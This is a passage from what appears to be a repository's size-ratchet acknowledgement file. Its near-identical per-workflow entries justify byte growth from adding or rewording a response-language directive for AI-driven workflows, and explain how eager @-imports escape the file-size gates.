reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: autonomous.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed in round 16: `3210-autonomous-precondition-gate.json` landed on `next` in 8fc88f66 (fix(#3210), #3528) and declares this path today. One path takes exactly one ack source, so the sentence moves here and the key leaves this PR's fragment. Re-homed from `3210-autonomous-precondition-gate.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: check-todos.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation.
Emitted-Drift-Ack-Growth: cleanup.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 18: this PR declared the path in its own fragment, and `2142-quick-task-archival.json` landed on `next` declaring it too. One path takes exactly one ack source, so the sentence moves here and the key leaves ours. Re-homed from `2142-quick-task-archival.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: code-review-fix.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed in round 13: `3190-code-review-fix-auto-rewrite-review.json` landed on `next` in 1d5d7795 (fix(#3190), #3434) and declares this path too. One path takes exactly one ack source, so the sentence moves here and the key leaves this PR's fragment. Re-homed from `3190-code-review-fix-auto-rewrite-review.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: code-review.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed in round 19: the fragment that carried this sentence (`3503-diff-base-scope-anchor.json`) was retired on `next` by 2fca0e17 (enhance(#2554), #3695), and `2554-code-review-depth-overrides.json` declares this path today. One path takes exactly one ack source, so the sentence follows the path to its live owner. Re-homed from `2554-code-review-depth-overrides.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: complete-milestone.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 15: the fragment carrying it (`3458-audit-open-acknowledge-wiring.json`) was retired on `next` and the path is declared by `3409-unreachable-guard-arms.json` today. One path takes exactly one ack source, so the sentence follows the path to its live owner. Re-homed from `3409-unreachable-guard-arms.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: debug.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 14: the fragment that carried this sentence (`3149-init-debug-entry-point.json`) was retired on `next` by 26f8015c (fix(#3448), #3476), and `3448-debug-autoresume-next-action.json` declares the path today. One path takes exactly one ack source, so the sentence follows the path to its live owner rather than being dropped or re-armed under a retired number. Re-homed from `3448-debug-autoresume-next-action.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: diagnose-issues.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: an inline copy in every workflow would be that many places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed in round 19: this PR declared the path in its own fragment, and `3602-workflow-subagent-model-resolution.json` landed on `next` declaring it too. One path takes exactly one ack source, so the sentence moves here and the key leaves ours. Re-homed from `3602-workflow-subagent-model-resolution.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: discuss-phase.md — #2529 round 36: this workflow's inline directive was rewritten in round 10 to name inter-tool narration, but in the compressed form, and that rewrite came to −1 byte against `next` — so it declared no growth and this key was absent from this PR's ack set until now. Round 36 replaces the compressed clause with the same enumeration the other rewordings carry — narration between tool calls, status updates, progress notes, findings, questions, prompts, and explanations — because `discuss-phase.md` started from the identical upstream sentence as `verify-work.md` and `new-milestone.md` and those two took the full list, so the shorthand was an inconsistency rather than a decision. +87 bytes against `next`, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. The directive stays INLINE rather than becoming an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have cost 1,692 bytes of loaded context against the 87 this sentence costs. `commands/gsd/discuss-phase.md` dispatches this workflow lazily (`Read and execute ...`) rather than `@`-importing it, so the 87 bytes land in the installed file and are read once the workflow is dispatched, not on every command invocation.
Emitted-Drift-Ack-Growth: discuss-phase-assumptions.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 15: `3409-unreachable-guard-arms.json` landed on `next` in #3558 and declares this path too. One path takes exactly one ack source, so the sentence moves here and the key leaves this PR's fragment. Re-homed from `3409-unreachable-guard-arms.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: discuss-phase-power.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: do.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation.
Emitted-Drift-Ack-Growth: docs-update.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +83 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +83 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 83 bytes this inline directive costs, a net +1,609. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,609 bytes more loaded context per invocation. Re-homed in round 19: this PR declared the path in its own fragment, and `3602-workflow-subagent-model-resolution.json` landed on `next` declaring it too. One path takes exactly one ack source, so the sentence moves here and the key leaves ours. Re-homed from `3602-workflow-subagent-model-resolution.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: edit-phase.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed in round 13: `3262-editphase-milestone-scope-guard.json` landed on `next` in fd4715f8 (fix(#3262), #3446) and declares this path too. One path takes exactly one ack source, so the sentence moves here and the key leaves this PR's fragment. Re-homed from `3262-editphase-milestone-scope-guard.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: eval-review.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 16: the fragment that carried this sentence (`3423-required-reading.json`) was retired on `next` by ddf85287 (fix(#3357), #3513), and no fragment on `next` declares this path now. The ack therefore returns to this PR's own fragment, which is the only live source for it — the change to the path is this PR's.
Emitted-Drift-Ack-Growth: execute-plan.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 14: the fragment that carried this sentence (`2652-quick-diagnose-dispatch-isolation.json`) was retired on `next` by 362d0434 (fix(#3370), #3478), and `3370-execute-phase-gate-conflation.json` declares the path today. One path takes exactly one ack source, so the sentence follows the path to its live owner rather than being dropped or re-armed under a retired number. Re-homed from `3370-execute-phase-gate-conflation.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: explore.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed from `2229-explore-claim-disposition.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: extract-learnings.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: fast.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed. Re-homed in round 18: this PR declared the path in its own fragment, and `3585-planning-commit-guard.json` landed on `next` declaring it too. One path takes exactly one ack source, so the sentence moves here and the key leaves ours. Re-homed from `3585-planning-commit-guard.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: forensics.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
Emitted-Drift-Ack-Growth: graduation.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation.
Emitted-Drift-Ack-Growth: health.md — #2529 MAJOR 1 (round 10): the workflow's pre-existing inline response-language directive is rewritten IN PLACE so the sentence names inter-tool NARRATION explicitly — narration between tool calls, status updates, progress notes, findings — instead of only "questions, prompts, and explanations". That older wording is the defect #2529 reports (it leaves the running commentary between tool calls in English while the answers around it are translated), and `scripts/lint-response-language-coverage.cjs` had been certifying it as coverage, so the gate legitimised the bug. +87 bytes, prose only: no step, gate, tool invocation, or subagent dispatch shape changed. FILE delta and LOADED-CONTEXT delta are both +87 here, and that identity is the point — the directive was deliberately NOT converted to an `@`-reference, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"), so the conversion would have bought a smaller measured file at a cost of 1,692 bytes of loaded context per workflow — the 63-byte import line plus the 1,629-byte reference — against the 87 bytes this inline directive costs, a net +1,605. Stated plainly because the gates cannot state it: the repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so an `@`-reference conversion would have READ as a smaller change to every gate in the repo while costing 1,605 bytes more loaded context per invocation. Re-homed in round 13: the fragment that carried this sentence (`2573-state-head-freshness.json`) was retired on `next` by 7ddcc198 (fix(#3309)), and `3309-health-docs-generated.json` declares the path today. One path takes exactly one ack source, so the sentence follows the path to its live owner rather than being dropped or re-armed under a retired number. Re-homed from `3309-health-docs-generated.json` in round 26: `a84f7563` (#3078) swept that fragment as all-spent, so this path is unowned and this PR's own fragment declares it directly.
Emitted-Drift-Ack-Growth: help.md — #2529 — RESTATED in round 10, superseding this PR's earlier "+63 bytes, prose only" wording, which reported a file delta as if it were the whole cost. The workflow gains the shared response-language directive as a single `@`-reference line. FILE delta: +63 bytes, byte-identical in each of the 42 workflows that take the reference. LOADED-CONTEXT delta: +1,692 bytes per workflow — the 63-byte import line plus the 1,629 bytes of `gsd-core/references/response-language-directive.md`, because an `@`-import in this repo is EAGER (ADR-1610 Decision point 4; docs/ARCHITECTURE.md: moving prose into a file that is still eagerly `@`-imported "shrinks the measured file without shrinking loaded context"). The repo's size gates — the tier hard caps in `tests/workflow-size-budget.test.cjs` and this size ratchet — measure the FILE, not the transitive inline, so they see 63 of those 1,692 bytes; the remaining 1,629 are declared here because no gate reads them. The eager import is accepted on its merits, not hidden: 42 inline copies would be 43 places for the wording to drift, and the reference is the one place it is maintained. Prose only: no step, gate, tool invocation, or subagent dispatch shape changed.
